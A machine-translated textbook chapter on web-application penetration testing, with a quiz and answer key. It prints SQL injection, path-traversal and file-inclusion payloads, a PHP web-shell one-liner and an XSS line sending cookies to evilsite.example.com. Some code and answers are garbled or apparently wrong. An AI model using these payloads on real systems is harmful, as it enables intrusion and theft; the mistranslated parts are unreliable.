身份验证绕过
暴力登录可能是一项繁琐且流程密集的任务,尤其是在测试硬件资源有限的情况下。绕过登录页面是一种可以提供即时访问的方法,无需付出额外的努力来尝试找出有效的用户名/密码组合。身份验证绕过攻击有多种方式:
- 强制浏览
- SQL注入
- 参数修改
- 会话ID预测
Web应用程序登录通常使用HTML登录表单页和会话令牌进行验证,会话令牌由服务器进行验证,该令牌可用于访问网站的其他内容。如果在访问受限页面时未显示有效令牌,则应提示用户进行身份验证。但是,如果Web应用程序仅在登录页上强制访问控制,而在站点上没有其他地方强制访问控制,则在未首先进行身份验证的情况下成功访问网站上的页面时,可以绕过身份验证模式。这种攻击方法称为强制浏览。在渗透式测试期间,您可以通过尝试访问受保护的页面来演示这种类型的攻击,以查看是否提示您进行身份验证或是否能够看到受限制的内容。SQL注入是另一种方法,恶意用户可以使用OR 1=1创建True语句,并将其传递到HTML表单页的用户名或密码字段中。如果应用程序没有清理用户提供的输入,则数据库可以读取该语句,并允许在没有登录所需的正确用户名或密码的情况下继续进行身份验证。
注意:如果Web应用程序或数据库未进行验证,使用OR 1=1之类的True语句进行SQL注入可能会导致不好的结果。给定以下SQL语句:
SELECT UserName,Password FROM Users WHERE ID =100 OR 1=1;
SQL是有效的,将返回"Users"表中的每一行,因为OR 1=1始终为TRUE。攻击者只需在输入字段中插入100 OR 1=1,即可从数据库中访问每个凭据。
参数修改是一种攻击方法,它利用Web应用程序的身份验证设计缺陷,根据固定参数验证成功登录。给定示例参数authenticated=no,该参数将通过对网站的HTTP GET请求进行检索,在进行身份验证之前,用户将无法从网站访问受限制的内容。要测试并查看是否可以修改参数,可以将原始参数更改为
authenticated=yes,然后尝试访问页面上的受限内容。如果成功,该网页容易受到参数修改的影响。取消隐藏Web浏览器中的隐藏表单字段是绕过Web服务器上的访问控制的另一种方法。如果表单字段标记为隐藏,则不会在浏览器中呈现内容,例如网页上的管理功能。给定一个名为is Admin=0的隐藏字段,用户不会将Web应用程序标识为该应用程序的有效"Admin"。但是,如果您将字段修改为is Admin=1,并为页面发送另一个HTTP GET请求,而Web服务器未验证更改,则可能会允许显示页面内容,从而将您标识为应用程序的有效"管理员",而无需先正确验证访问权限。您可以使用Burp来利用这种类型的攻击,或者利用您最喜欢的Web浏览器(如Firefox、Chrome等)中可用的开发人员工具。
可预测的会话令牌
大多数Web框架设计为使用session token /cookie身份验证。基于会话的身份验证是有状态的,因此服务器和客户端都保留会话的记录。每次用户请求访问数据时,会话数据都会在查询中提交,并由服务器验证。Set-Cookie标头(例如:Set-Cookie: sessionID=ksirut8jsl219485a1f459f2siper5)包含在服务器对客户端的响应中,Cookie值存储在客户端的浏览器中。设置Cookie响应标头可以附带其他属性,以通知客户端浏览器如何处理Cookie,包括
lHTTPOnly,这意味着无法通过JavaScript访问cookie,例如通过跨站点脚本(XSS)攻击窃取cookie。
- 路径,用于定义cookie有效的URL。
- 域,定义cookie有效的域(例如,example.com)。
- Expires,告诉浏览器在本地保存cookie以进行持久存储,并且浏览器将在到期日之前将其用于将来的请求。如果未设置,cookie仅在浏览器会话的生命周期内有效。
- 安全,用于确保cookie永远不会通过非加密连接(如HTTP)传输。当恶意用户嗅探网络时,这有助于防止凭据被盗。
当客户端向服务器发出后续请求时,cookie值将伴随每个请求。在某些情况
下,渗透式测试可能需要对cookie进行反向工程,以确定cookie是如何生成或保护的。一些Web框架可能会对cookie进行签名或编码(即base64编码值),以混淆cookie并防止在传输过程中进行篡改。在第4章中,我们讨论了随机会话令牌的必要性,以帮助防止劫持合法会话。在开发人员使用自己的会话ID的情况下,如果没有将随机性和复杂性充分应用到等式中,则可以操纵cookie值来识别有效会话,这意味着应用程序可能容易受到暴力攻击。现在,让我们演示这种类型的攻击,以操纵cookie值从服务器窃取合法会话。我将使用OWASP WebGoat遗留项目(https://github.com/WebGoat/WebGoat-Legacy)并针对会话管理缺陷测试了"劫持会话"示例。攻击的第一部分将收集足够的cookie样本进行分析,以确定Web框架的cookie生成方案。然后,我们将创建一个有效的cookie(cookie操纵)来进行攻击。使用随机用户名和密码登录后,系统会告诉您使用了"无效用户名或密码"但是,该应用程序为您提供了另一个名为WEAKID的cookie,其值为WEAKID=17280-1531178283601。通过一点挖掘,我能够破译出cookie的第一部分17280是一个序列号,每次我销毁会话并尝试重新登录时,序列号都会增加一。cookie的第二部分似乎是以毫秒为单位的时间戳(根据文档)。在登录和注销了大约五次之后,我知道我无法那么容易地猜出数字。所以,我转向Burp Sequencer,它可以帮助生成足够的cookie值来猜测现有会话cookie。我截获了对应用程序的登录请求,然后将请求转发给Sequencer。在Sequencer中,选择了Cookie选项,如图9-5所示。
图9-5 Burp Sequencer标记位置
然后我单击了开始实时捕获按钮。在停止捕获过程之前,我一直等到获得了相当大的令牌样本。有了2000多个令牌后,我单击停止按钮停止捕获过程,然后单击保存令牌将令牌保存到一个文件中以进行脱机分析。然后,我回到Sequencer并单击手动加载选项卡。从这里,我使用Load按钮从刚刚保存的文件中加载了令牌,如图9-6所示。
图9-6 Sequencer中样本令牌的手动加载
从榜首开始,我立即注意到17283和17285之间的数字有差距。由于这一顺序的中断,我很确定已经为17284发行了一个令牌,而我的列表中没有这个令牌。我回Burp,把原来的登录会话转发给Repeater,在那里我可以操纵cookie值,试图劫持会话。在用丢失的令牌值测试了我的怀疑之后,我发现会话是有效的,并且根据服务器的响应消息,我成功地劫持了现有会话,如图9-7所示。
9-7在Burp中劫持会话
包含攻击
在网页中加载任意内容的能力称为包含攻击。针对Web应用程序的文件包含攻击有两种类型:本地文件包含和远程文件包含。在PHP应用程序中,这些漏洞通常使用以下内置函数利用代码中的缺陷进行攻击:include()和require()。这些类型的攻击为攻击者提供了初始访问向量,并将有助于进一步攻击系统。
远程和本地文件包含
大多数Web应用程序框架(例如PHP)都支持文件包含。文件包含漏洞利用利用Web应用程序中的"动态文件包含"功能。有两种文件包含:本地(LFI)和远程(RFI)。本地文件包含包括Web根目录以外的文件,并将本地操作系统文件的内容呈现到浏览器窗口,例如密码文件example.php?page=../../../../etc/passwd.。在某些情况下,LFI可能导致远程代码执行。测试远程代码执行的一种方法是使用PHP包装器。PHP Expect包装器允许执行系统命令:示例example.php?page=expect://id;但是,默认情况下未启用Expect包装器。另一个PHP包装器是输入流,它允许您从请求体读取原始数据。对于HTTP POST消息,可以使用以下示例对本地操作系统执行命令:
POST /example.php?page=php://input&cmd=id HTTP/1.1
在消息正文中,您可以使用以下PHP代码,这些代码将通过PHP输入流进行读取和处理:
cmd命令将通过shell_exec()函数执行,在本例中返回拥有Web服务器进程的用户的userid。远程文件包含允许在易受攻击的网页中显示文件甚至整个页面。如果HTTP请求中的参数可以更改为指向恶意位置,则Web应用程序可能容易受到RFI的影响,而RFI又可能允许恶意代码在服务器或客户端上运行(即恶意JavaScript窃取cookie数据)。RFI攻击示例如下所示:
http://example.com/example.php?file=http://www.maliciousexample.com/malicious.php.
LFI和RFI都是危险的方法,可以通过正确使用输入验证来缓解。利用Web应用程序糟糕的输入验证和内容控制的另一种方法是执行恶意文件上载。如果Web应用程序允许未经授权的用户上载文件并执行,攻击者可能会危害系统。支持各种Web脚本语言(如PHP)的Web服务器很容易成为后门程序的受害者。控制对文件上载位置的访问和控制支持的文件类型是缓解此类漏洞的方法。有时您只需要一个简单的PHP单行程序!图9-8提供了使用PHP Web shell执行Linux id命令的示例。用于开发Web shell的代码如下:
图9-8恶意文件上传
<?php if (isset (REQUEST [cmd'])echo"<pre>"; $cmd (REQUEST [cmd']); system($cmd);echo "</pre>";die;} ?>
利用安全错误配置
我认为,配置不当或缺乏良好安全卫生(如补丁管理)的Web应用程序服务器很可能成为攻击的目标,这并不奇怪。如第4章所述,产品供应商的默认账户密码通常可以在开源单词列表中找到,就像我们在本书中一直使用的那些密码一样,也可以在Kali Linux中的/usr/share/wordlist中找到。撰写本文时,CIRT密码列表(https://cirt.net/passwords)(CIRT是臭名昭著的Nikto Web应用程序扫描工具的开发人员)列出了500多家不同供应商使用的2080多个默认密码。这些账户用于初始设置和配置。大多数情况下,供应商会建议禁用该账户,或者至少更改默认密码。Apache Tomcat(http://tomcat.apache.org)是一种著名的开源产品,用于托管和部署基于Java的Web应用程序。
在该软件的早期版本中,Tomcat Manager servlet(servlet是一个Java程序,它扩展了服务器的通信能力,例如接收消息和发送响应,主要使用HTTP)用于部署和管理这些应用程序。Tomcat是在启用了Manager应用程序的情况下发布的,还有一个众所周知的默认用户名和密码Tomcat/Tomcat。随着时间的推移,这些证书被使用和滥用,以损害组织系统;然而,为了缓解这种常见的威胁,Apache Tomcat开始在禁用Manager应用程序的情况下发布默认产品安装。至少在开箱即用的情况下,该产品更加安全,现在能够将其部署为软件即服务(SaaS)解决方案,开发人员和系统管理员应该不用担心安装缺陷。
OWASP表明,攻击者通常会试图利用未修补的flaws/bugs、访问默认账户或未使用的网页、未受保护的文件和目录等,以获取未经授权的系统访问或知识。示例攻击场景可能是随应用程序一起安装的默认插件或账户/密码,访问控制不佳,无法访问Web根目录以外的文件(可公开访问的Web文件和目录所在的最顶层目录),甚至应用程序显示详细的错误消息(例如堆栈跟踪),这些错误消息可能会暴露可能存在已知漏洞的Web组件版本。在本节中,我们将介绍其中一些攻击方法,包括路径遍历、暴露敏感数据和弱访问控制。
访问控制薄弱
用户登录并通过身份验证后,应根据访问控制策略将Web服务器(或Web应用程序)配置为限制用户可以访问的内容。访问控制策略定义了如何根据最小权限规则管理和控制对资源的访问的要求。例如,Apache HTTP服务器根据主机名或IP地址限制对Web目录的访问,因为网站上的某些内容可能不供公众使用。在httpd.conf文件(Apache HTTP配置文件),可以应用以下限制以允许专用IP地址访问Web服务器上的受限文件夹,并且拒绝任何其他人:
<Directory/htdocs/restricted/> Order Deny,Allow Deny from all A11 owfrom10.1.0.0/16 </Directory>
提示Apache HTTP服务器使用模块实现其中的某些功能。模块是服务器功能的扩展。例如,mod_authz_host模块可用于根据IP地址控制对服务器上目录、文件和位置的访问,而mod_ftp模块可用于允许用户使用ftp下载或上载文件。Apache在其核心发行版中包含许多模块;但是,它支持许多默认情况下未安装的其他组件。您可以在此处查看Apache HTTP服务器支持的模块列表:
http://httpd.apache.org/modules.
如果Web服务器缺少此级别的访问控制,任何浏览到/restricted文件夹内页面的用户都可以访问该内容。Apache需要考虑的另一件事是默认情况下启用目录索引(或目录浏览)。此功能类似于Unix中的ls命令或Windows中的dir命令。如果启用了目录浏览并且没有访问控制,攻击者就不必依赖暴力方法来派生网页和/或子目录。图9-9显示了/admin目录的目录索引示例。
图9-9目录索引
为了缓解这种情况,可以添加索引。您希望禁用目录浏览的目录中的html(如果html文件为空,攻击者将看到一个空白页面),或者您可以从给定目录或整个网站的Apache HTTP配置文件。用于控制内容显示的Web访问控制与控制Web应用程序中敏感对象或信息的不必要暴露同样重要。
公开敏感数据
在第5章中,我们讨论了SAST和DAST,这两种方法可以帮助识别应用程序中的代码开发缺陷。然而,在某些情况下,该缺陷可能不是编程错误,而是数据或信息如何受到保护的弱点。某些类型的信息,如密码、信用卡号码、社会安全号码、健康和隐私信息等,需要一定程度的保护。如前几章所述,加密是一种可以用来保护此类数据机密性的方法。然而,如果保护机制的实现被错误配置或不充分,那么针对该漏洞的攻击可能是灾难性的。OWASP为敏感数据泄露提供了三种攻击场景:
l场景#1应用程序使用自动数据库加密对数据库中的信用卡号进行加密。然而,在检索时,这些数据会自动加密,从而允许SQL注入缺陷以明文形式检索信用卡号。
l场景#2站点没有对所有页面使用或强制TLS或者它支持弱加密。攻击者监视网络流量(例如,在不安全的无线网络上),将连接从HTTPS降级为HTTP,拦截请求,并窃取用户的会话cookie。然后,攻击者重播此cookie并劫持用户(经过身份验证的)会话,访问或修改用户的私有数据,或者相反,攻击者可以更改所有传输的数据(例如,汇款的收件人)。
l场景#3密码数据库使用非盐或简单哈希存储每个人的密码。文件上载漏洞允许攻击者检索密码数据库。所有未加盐的哈希都可以用一个彩虹表来显示预先计算的哈希。简单或快速散列函数生成的散列可能会被GPU破解,即使它们是咸的。
敏感数据泄露还可能以错误消息或对内部函数的引用的形式出现,这些函数无意中揭示了请求的真实性质。这称为不安全的直接对象引用(IDOR)。例如,将数据库记录(如主键)公开为Web参数或URL中的引用对象。IDOR本身不是一个漏洞;但是,如果数据库或应用程序服务器缺乏适当的访问控制,则攻击者可能会推断出所引用对象的模式或模式。例如,如果通过Web参数直接调用外键值,则已通过系统身份验证的恶意用户可能会修改参数以访问其他用户配置文件的内容。为了演示,我使用了名为Goat Hills Financial Human Resources的OWASP Web Goat项目Web应用程序,并以用户Tom的身份登录以访问用户Eric的概要文件数据。使用Burp代理,我截获了操作视图概要文件的HTTP GET请求,以识别请求中传递的参数,如图9-10所示。
图9-10截距IDOR参数
我注意到参数employee_id=105,它看起来是一个直接的对象指针,对于用户Tom来说是唯一的。使用Burp Repeater,我修改了参数并重播了HTTP GET请求,但现在请求employee_id=104,以查看该字段是否为增量字段。提交请求后,我能够检索Eric的概要文件,如图9-11所示。
图9-11修改IDOR参数
如果IDOR参数已被隐藏或混淆,则会使此攻击更难成功,或者可能不太明显。无论如何,这个问题是访问控制不当的直接结果,最终依赖Web和数据库服务器来正确验证这些类型的请求。
目录和路径遍历
目录和路径遍历攻击是一种注入攻击形式,使恶意参与者能够通过使用快捷方式浏览Web服务器根文件夹之外的内容来访问通常不可用的内容。使用渗透式测试实验室网站提供的渗透式测试 ISO Web的目录遍历示例,我们可以演示这种类型的攻击。给定以下URL:
http://192.168.1.108/dirtrav/example1.php?file=hacker.png
file= parameter用于检索名为图像的hacker.png。如果我们看一下使这成为可能的PHP代码,我们可以了解幕后的情况:
$UploadDir ='C:\\xampp\\htdocs\\sec\16\\'; if ((!isset($_GET['file']))) die(); $file = $_GET['file']; $path =$UploadDir.$file; if (!is_file($path)) die(); $handle = fopen($path,'rb'); do{ $data= fread($handle,8192); if(strlen($data)==0){ Break; } echo($data); }while(true); fclose ($handle); exit(); ?>
http://127.0.0.1:8100/sec/16/example1.php?file=..\..\..\..\..\Windows\win.ini
$UploadDir变量将操作系统上的绝对路径标识为'/var/www/files/',这是文件攻击的地方hacker.png位于。$file变量是用$_GET['file']方法定义的,该方法从file= parameter解析文件名。$path变量声明文件在服务器上应位于的完整路径。如果$路径不存在,则请求为null。然后$handle打开文件的路径以进行读取("rb")。do-while循环用于读取文件变量,最大块大小为8192字节。如果长度为0,则程序中断;否则,将读取文件内容并将其回显到Web浏览器。然后使用fclose()函数在退出程序之前关闭文件。
那么,现在让我们测试参数是否容易受到路径遍历的攻击。为了测试这一点,我们可以使用以下/../../../../../etc/passwd代替hacker.png访问本地操作系统passwd文件,该文件通常不作为网页提供。正斜杠和点告诉Web操作遍历路径中的几个目录,就像终端窗口中的更改目录"cd"命令一样。但是,在Windows中,斜杠是反斜杠而不是正斜杠,用于分隔文件路径中的目录(例如,\..\..\..\C:\boot.ini)。在Windows中,目录分隔符("/"或"\")可以向前或向后。但是,在Unix中,它只能是正斜杠("/")。这意味着,在Windows中,要绕过或逃避仅在恶意请求中查找"/"的Web内容筛选器,可以使用其他目录分隔符。如图9-12所示,针对Unix目标的目录遍历攻击成功。
图9-12带Burp的目录遍历
提示:在测试路径遍历攻击时,可以使用多种变体。它主要是关于编码目录路径或启动正确的转义序列以打破典型的Web过滤器。为了绕过查找特殊字符(如正斜杠)的普通内容过滤器,攻击者可能会使用Unicode/UTF-8甚至URL编码,例如:
%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2fect%2通过以实现相同的结果。
路径遍历成功的原因是,没有程序逻辑阻止访问Web根目录以外的文件。减轻路径遍历的一种方法是在PHP代码中以$file变量为基础命名。这将返回$file的尾部name组件,任何访问$UploadDir之外的文件的尝试都将失败。下面是如何在代码中实现此功能的示例:
$file = basename($_GET['file']);
注意:表面上看,可能很难区分文件包含漏洞(LFI和RFI)和路径或目录遍历。主要区别在于,对于遍历攻击,您只能读取本地资源的内容(例如/etc/passwd),而通过包含文件,可以在应用程序的上下文中加载和执行资源,从而提供代码执行。
客户端攻击
在本章的大部分内容中,我们讨论了在服务器端利用的攻击。然而,当涉及到基于Web的攻击时,客户端也很容易成为目标。服务器内容(例如HTML和JavaScript)可能存在漏洞,可在受害者的Web浏览器或浏览器插件中加以利用。源代码始终可用,因为它是在客户端执行的。《OWASP测试指南》第4版第4.12章"客户端测试"为客户端指定了应用程序测试期间应评估的各种测试区域,包括以下攻击向量:
- 跨站点脚本(XSS)
- HTML注入
- 客户端URL重定向
- CSS注入
- 客户端资源操作
- 跨来源资源共享
- 跨现场防水板(Cross-site flashing)
- 点击劫持
- 跨站点请求伪造
在本节中,我们将介绍一些与CompTIA 渗透式测试+考试目标相关的领域,包括HTML注入、XSS、CSRF和点击劫持。
HTML注入
将任意HTML注入网页的能力称为HTML注入。当用户输入未正确消毒时,会发生这种类型的注入。有两种类型的HTML注入,存储HTML和反射HTML。存储的HTML注入是一种持久的注入类型,当恶意用户插入永久存储在服务器端并保留给访问受损网页的其他用户的HTML代码时,就会发生这种情况。这些类型的攻击可能发生在网站的用户驱动区域,如博客,在博客中,即使匿名用户也可以将消息发回给毫无戒心的受害者,如管理员。反射的HTML注入漏洞是一种非持久的浏览器执行攻击。例如,将HTML标记插入到用户提供的文本字段中,例如用户名和密码登录框。如果输入以下HTML标记以及虚假密码:
Hacker
单击"提交"按钮时,网站可能会返回一个错误,说明:
未知用户名黑客
这是一个非常基本的示例,但它显示了缺乏服务器的输入验证如何允许在受害者的浏览器中注入HTML代码。
跨站点脚本
XSS是一种基于Web的漏洞,使攻击者能够将客户端脚本或HTML代码注入其他网页,以窃取信息或绕过身份验证。此漏洞是由于服务器端缺少输入检查造成的。XSS漏洞有三种:
- 反射,在单个HTTP响应中注入代码。下面是一个成功执行反射XSS的示例:
示例:
index.php?page=
- 存储,将注入代码存储在日志文件中,以窃取和重定向会话令牌,管理用户随后可通过Web界面访问该令牌:
<img src=xonerror=this.src='https://evilsite.example.com/?c='+document.cookie>
- 基于DOM的,文档对象模型(DOM)在运行时从应用程序传递到浏览器,并用于构建内容。与传回服务器的存储或反射XSS攻击不同,执行直接在用户的浏览器中进行,因为并非每个对象都被浏览器视为查询。如果只在客户机上进行日志记录,这会使检测过程更加困难。给出了传递到客户端浏览器的DOM对象的以下示例:
URL中"#"之后传递的所有内容都将在Web浏览器中执行:
http://example.com/xss/example9.php#message
只需传递URL:
http://example.com/xww/example9.php#<script>alert("DOMXSS")</script>
对于愿意点击链接的受害者,会出现一个警报框,很像反射的XSS攻击。
提示:某些Web浏览器具有内置内容过滤器,以防止发生此类攻击。NoScript (https://noscript.net)是基于Mozilla浏览器的浏览器扩展,可帮助阻止不需要的脚本在浏览器中执行,并将执行限制为仅受信任的网站。
跨站点请求伪造
CSRF是另一种客户端注入攻击,它会导致用户对已通过有效会话验证的受信任网站执行操作。攻击向量包括易受攻击的网页、博客、电子邮件等。这些攻击通常是有针对性的,如果成功,可能会导致受害者购买物品、转账、更改密码,如果受害者是管理员或具有提升的权限,则攻击的目标可能是在应用程序中创建或修改现有账户的能力。例如,将一个隐藏图像嵌入到一个新闻组的Web帖子中,该新闻组指向使用"攻击"servlet转移资金的恶意请求。如果这是来自银行应用程序的真正servlet,并且受害者已经登录到他们的账户,那么5000美元将从他们的账户中转出。该消息看起来无害,并且图像大小可以显著减小,这样就不会在消息正文中引起太多的注意。图9-13提供了一个向用户组提交潜在无害消息的示例。图9-14显示了打开消息时发生的情况的示例。
图9-13 CSRF示例场景消息
图9-14 CSRF示例场景消息内容
点击挟持
点击劫持(Clickjacking)是一种透明的行为,通过诱骗受害者点击他们不打算与之交互的网页中的按钮或链接来欺骗受害者。Clickjacking是客户端的安全问题,是一种可以与多种攻击(例如,社会工程)结合使用或单独使用的操作。此方法可用于通过攻击者控制的网站劫持用户会话,该网站代表受害者用户账户对合法网站执行操作。点击劫持利用CSS、iframes甚至文本框通过攻击者控制的网页加载合法的Web内容。例如,如果受害者已经登录到电子商务商店并购买鞋子,攻击者可能会通过社会工程诱使受害者访问其网站,并可能诱使用户单击"所有鞋子五折,单击此处"图像。这张图片看起来是合法的,但它直接位于合法网站的"从购物车中删除所有项目"和"注销"链接的顶部,这对受害者来说是隐藏的。用户单击图像的位置将确定Web服务器执行的操作。过去的点击劫持攻击针对Twitter和Facebook用户,点击劫持被用来说服用户单击按钮转发恶意网页(被称为Twitter蠕虫)的位置,并滥用Facebook中的"喜欢"功能来喜欢随机网站。减轻点击劫持的一种方法是配置Web服务器,使其使用适当的内容安全策略(CSP)来禁止来自其他域的框架,使用X-Frame-Options HTTP响应标头来限制网页加载到或。其他信息可在OWASP网站的"点击劫持防御备忘单"中找到,该备忘单为点击劫持和其他类型的客户端保护提供了额外的上下文,以帮助击败攻击者的点击劫持企图。
章节回顾
Web和数据库技术在大多数组织中发挥着重要作用。几年前,仅仅拥有一个网站就足以在竞争激烈的市场中竞争,让你的客户群看到你的公司能做什么。如今,公司正在投入更多的时间和精力在社交媒体网站上建立影响力,如Facebook、Twitter、Instagram、LinkedIn等,以便与数字世界保持联系。在当今世界,公司可以将部分数据中心移动到云中,以降低年度运营成本,实现更高级别的系统可用性。各组织必须评估其组织内的Web和数据库安全,因为数字时代已经到来。针对基于Web的技术的攻击不再只是服务器端的攻击。更复杂的攻击是针对最终用户的,因为大多数客户端漏洞攻击都相当简单,只需很少的努力,攻击者可以获得很多好处。只要回报大于被抓住的风险,攻击者就会继续寻找新的方法来利用基于网络的技术的进步。
问题
1、在渗透式测试约定期间,系统开发人员与您联系,询问您是否可以帮助了解服务器上的一个Apache HTTP日志文件中发生了什么。错误。日志文件显示以下消息:在HTTP GET请求期间。开发人员知道该请求不是来自正在进行的渗透式测试,因为IP地址超出了参与范围。可能对目标Web服务器使用了哪种类型的攻击?
A、 基于DOM的XSS攻击
B、 跨站点请求伪造(CSRF)
C、 XXE注入
D、 SQL注入
2、渗透式测试团队的一名成员试图在MySQL数据库中插入恶意记录,该记录将执行一些概念验证代码,从用户的Web浏览器中窃取cookie。但是,INSERT语句不起作用。查看以下语法,可能的错误原因是什么?
mysql> INSERT into app.data (header, body, message, webForm) VALUES ("HACK", 404, "HACK");
A、 第二列值缺少引号。
B、 INSERT语句缺少第四列的值,不能为null。
C、 其中一个字段值超出了大小限制。
D、 INSERT语句中没有错误。
3、如果受损数据库用户具有管理权限(例如root)或提升权限,并且数据库配置了sys_exec()和__________函数,则UDF可以帮助在渗透式测试期间执行命令。
A. sys_eval()
B. system_eval()
C. exec_sys()
D. sys_udf()
4、给定以下URL,可以使用哪两种方法对Web参数内的数据库进行SQL注入测试?(选择两个)http://example.com/page.php?
id=1&acct=162;jsessionid=567323456798
A. ?id=1'&acct=144;jsessionid=567323456798
B. ?id=1'&acct=162';jsessionid=567323456798
C. ?id=1;--&acct=162;jsessionid=567323456798
D. ?id=1'&acct=144';jsessionid=567323456798
5、您遇到一个需要使用有效用户名和登录名进行身份验证的网页。使用CeWL,您决定使用从网站派生的内容构建自己的词表。网站有很多页面,你决定从index.html页面开始,并深入网站5页,以确定至少8个字符的字长。哪些命令选项将帮助您构建要查找的单词列表?
A. -d 5 -8
B. -w 8 -d 5
C. -m 8 -d 5
D. -a 8 -d 5
6、在测试Windows Server 2016上运行的Web应用程序时,您发现一个Web参数漏洞,容易受到路径遍历攻击。在演示路径遍历攻击时,以下哪个选项是最佳选择?
A. ?id=C:\Windows\system32\etc/passwd
B. ?id=../../../../C:/Windows/etc/passwd
C. ?id=%20.%20C:/Windows/boot.ini
D. ?id=..\..\..\..\C:/Windows/boot.ini
7、以下哪项是有效的客户端攻击?(选择所有适用项)
A、 点击挟持
B、 命令注入
C、 目录遍历
D、 反射HTML注入
E、 基于DOM的XSS
F、 会话劫持
8、用户Web浏览器中文档对象模型(DOM)的用途是什么?
A、 在浏览器中结构化内容
B、 将消息传递给其他实体
C、 存储后跟" #"符号的加密值
D、 帮助抵御XSS攻击
9、以下PHP代码的目的是什么?
do{
$data=fread($handle,8192);
if (strlen($data)==0){
Break;
}
echo($data);
}while (true);
A. Creates a loop to echo the contents of $data until it reaches 0 length(创建循环以回显$数据的内容,直到其长度达到0)
B. Creates a loop, declares $data, and validates the size of the variable(创建循环,声明$数据,并验证变量的大小)
C. Creates a loop to echo the contents of the data(创建循环以回显数据的内容)
D. Creates a loop but kills the process if the data is less than 8192 bytes(创建循环,但如果数据小于8192字节,则终止进程)
10、给定以下URL,以下哪个选项可以是IDOR?(选择所有适用项。)
A. http://example.com/index.php?emp_id=12345
B. http://example.com/index.php
C. http://example.com/sales.php?acct=4532345
D. http://example.com/profile.php?state=CA&zip=90001
问题和答案
1、在渗透式测试约定期间,系统开发人员与您联系,询问您是否可以帮助了解服务器上的一个Apache HTTP日志文件中发生了什么。错误。日志文件显示以下消息:在HTTP GET请求期间。开发人员知道该请求不是来自正在进行的渗透式测试,因为IP地址超出了参与范围。可能对目标Web服务器使用了哪种类型的攻击?
A、 基于DOM的XSS攻击
B、 跨站点请求伪造(CSRF)
C、 XXE注入
D、 SQL注入
C、 XML外部实体(XXE)注入攻击目标XML文档,并试图操纵在处理文档时解析的内部或外部实体的声明。日志文件中捕获的注入尝试是攻击者以用户账户的本地SSH密钥为目标的尝试。这些类型的攻击也可能导致远程命令执行。通过禁用外部实体或清理用户提供的输入并限制文档指向其请求的位置,可以减轻这些类型的攻击。
2、渗透式测试团队的一名成员试图在MySQL数据库中插入恶意记录,该记录将执行一些概念验证代码,从用户的Web浏览器中窃取cookie。但是,INSERT语句不起作用。查看以下语法,可能的错误原因是什么?
mysql> INSERT into app.data (header, body, message, webForm) VALUES ("HACK", 404, "HACK");
A、 第二列值缺少引号。
B、 INSERT语句缺少第四列的值,不能为null。
C、 其中一个字段值超出了大小限制。
D、 INSERT语句中没有错误。
B、 INSERT语句缺少第四列的值。
INSERT语句中标识的每一列都需要有一个字段值。如果其中一个字段是必填字段,则该字段不允许为null,例如空值。
3、如果受损数据库用户具有管理权限(例如root)或提升权限,并且数据库配置了sys_exec()和__________函数,则UDF可以帮助在渗透式测试期间执行命令。
A. sys_eval()
B. system_eval()
C. exec_sys()
D. sys_udf()
A、 需要在数据库服务器上配置sys_eval()和sys_exec()函数,以便创建用户定义函数(UDF),最终可以使用拥有该进程的操作系统用户的权限在操作系统上执行命令。
4、给定以下URL,可以使用哪两种方法对Web参数内的数据库进行SQL注入测试?(选择两个。)
http://example.com/page.php?id=1&acct=162;jsessionid=567323456798
A. ?id=1'&acct=144;jsessionid=567323456798
B. ?id=1'&acct=162';jsessionid=567323456798
C. ?id=1;--&acct=162;jsessionid=567323456798
D. ?id=1'&acct=144';jsessionid=567323456798
B、 D. "'"、"-- "和"这些方法都可以帮助从缺少应用程序或数据库过滤的数据库中触发错误响应。
5、您遇到一个需要使用有效用户名和登录名进行身份验证的网页。使用CeWL,您决定使用从网站派生的内容构建自己的词表。网站有很多页面,你决定从索引开始。html页面,并深入网站五页,以确定至少八个字符的字长。哪些命令选项将帮助您构建要查找的单词列表?
A. -d 5 -8
B. -w 8 -d 5
C. -m 8 -d 5
D. -a 8 -d 5
C、 -d选项用于指定遍历网站的深度,-m用于指定工具识别的最小字数。
6、在测试Windows Server 2016上运行的Web应用程序时,您发现一个Web参数漏洞,容易受到路径遍历攻击。在演示路径遍历攻击时,以下哪个选项是最佳选择?
A. ?id=C:\Windows\system32\etc/passwd
B. ?id=../../../../C:/Windows/etc/passwd
C. ?id=%20.%20C:/Windows/boot.ini
D. ?id=..\..\..\..\C:/Windows/boot.ini
D、 最好的答案是D,因为它可以帮助避开基本的正斜杠内容过滤器,并可能显示引导的内容boot.ini文件。
7、以下哪项是有效的客户端攻击?(选择所有适用项。)
A. Clickjacking
B. Command injection
C. Directory traversal
D. Reflected HTML injection
E. DOM-based XSS
F. Session hijacking
A, D, E, F.除了命令注入和目录遍历之外,所有答案都是正确的。这些类型的攻击针对的是服务器端漏洞。
8、用户Web浏览器中文档对象模型(DOM)的用途是什么?
A、 在浏览器中结构化内容
B、 将消息传递给其他实体
C、 存储后跟"# "符号的加密值
D、 帮助抵御XSS攻击
A、 在运行时,应用程序将传递DOM以帮助构建浏览器中的内容。DOM模块可能包括可以在用户浏览器中本地执行的JavaScript代码。
9、以下PHP代码的目的是什么?
do{
$data=fread($handle,8192);
if (strlen($data)==0){
Break;
}
echo($data);
}while (true);
A、 创建循环以回显$数据的内容,直到其长度达到0
B、 创建循环,声明$数据,并验证变量的大小
C、 创建循环以回显数据的内容
D、 创建循环,但如果数据小于8192字节,则终止进程
B、 PHP代码通过读取8192字节的$句柄来声明$数据变量。然后,如果$data的长度等于0,脚本将终止或继续回显$data的内容并完成循环。
10、给定以下URL,以下哪个选项可以是IDOR?(选择所有适用项。)
A. http://example.com/index.php?emp_id=12345
B http://example.com/index.php
C http://example.com/sales.php?acct=4532345
D http://example.com/profile.php?state=CA&zip=90001
A、 C. "acct= " and "emp_id= "参数在某种程度上是一种死赠品,因为它们可以链接到其他用户的信息,而无需通过Web应用程序或数据库进行必要的访问控制即可检索到这些信息。选项B只是一个URL,没有任何可推断的内容,选项C提供了与状态和邮政编码相关的参数,对于不安